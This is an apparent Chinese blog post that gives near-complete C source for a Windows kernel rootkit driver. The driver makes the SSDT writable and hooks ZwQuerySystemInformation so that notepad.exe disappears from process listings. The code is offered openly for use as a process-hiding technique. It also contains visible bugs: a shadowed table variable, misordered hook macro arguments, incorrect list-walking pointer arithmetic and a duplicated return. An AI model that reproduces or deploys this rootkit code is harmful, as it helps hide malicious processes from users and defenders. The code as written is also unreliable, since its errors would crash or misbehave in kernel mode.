hook zwQuerySysteminformation 隐藏进程

三月的天气 · 三月的天气

代码：
#include <ntddk.h>
//#include <windows.h>
typedef unsigned long DWORD;
#pragma pack(1)
typedef struct ServiceDescriptorEntry{
unsigned int *ServiceTableBase;
unsigned int *ServiceCountTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
extern "C" __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//定位基地址
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)(_function)+1)]
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)(_Function)+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PULONG) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
typedef struct _SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitchCount;
ULONG State;
KWAIT_REASON WaitReason;
}SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
ULONG PrivatePageCount;
VM_COUNTERS VirtualMemoryCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREAD_INFORMATION Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
extern "C"
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
//我们的hook函数，过滤掉notepad.exe的进程
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// 列举系统进程链表
PSYSTEM_PROCESS_INFORMATION pCurr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
while(pCurr)
{
if (pCurr->ImageName.Buffer != NULL)
{
if(0 == memcmp(pCurr->ImageName.Buffer, L"notepad.exe", 22))
{
if(pPrev) // Middle or Last entry
{
if(pCurr->NextEntryOffset)
pPrev->NextEntryOffset += pCurr->NextEntryOffset;
else // we are last, so make prev the end
pPrev->NextEntryOffset = 0;
}
else
{
if(pCurr->NextEntryOffset)
{
// we are first in the list, so move it forward
SystemInformation = (UCHAR*)SystemInformation + pCurr->NextEntryOffset;
}
else // 唯一的进程
SystemInformation = NULL;
}
}
}
pPrev = pCurr;
if(pCurr->NextEntryOffset)
{
pCurr = pCurr + pCurr->NextEntryOffset;
}
else
{
pCurr = NULL;
}
}
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called\n");
// 卸载hook
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// 解索并释放MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(
__in struct _DRIVER_OBJECT *DriverObject,
__in PUNICODE_STRING RegistryPath
)
{
DWORD * MappedSystemCallTable = NULL;
DbgPrint("ROOTKIT: Start\n");
DriverObject->DriverUnload = OnUnload;
// 初始化全局时间为零
// 这将会解决时间问题，如果不这样，尽管隐藏了进程，但时间的消耗会不变，cpu 100%
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); // 储存旧的函数地址
if(!g_pmdlSystemCall)
{
return STATUS_UNSUCCESSFUL;
}
MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // 改变MDL的Flags属性为可写，既然可写当然可读，可执行
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = (DWORD*)MmMapLockedPages(g_pmdlSystemCall, KernelMode);
// 用了宏，把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步，先突破了SSDT的保护，接着用宏更改了目标函数，下来就剩下具体的过滤任务了
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, MappedSystemCallTable );
return STATUS_SUCCESS;
return STATUS_SUCCESS;
}

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hook zwQuerySysteminformation 隐藏进程

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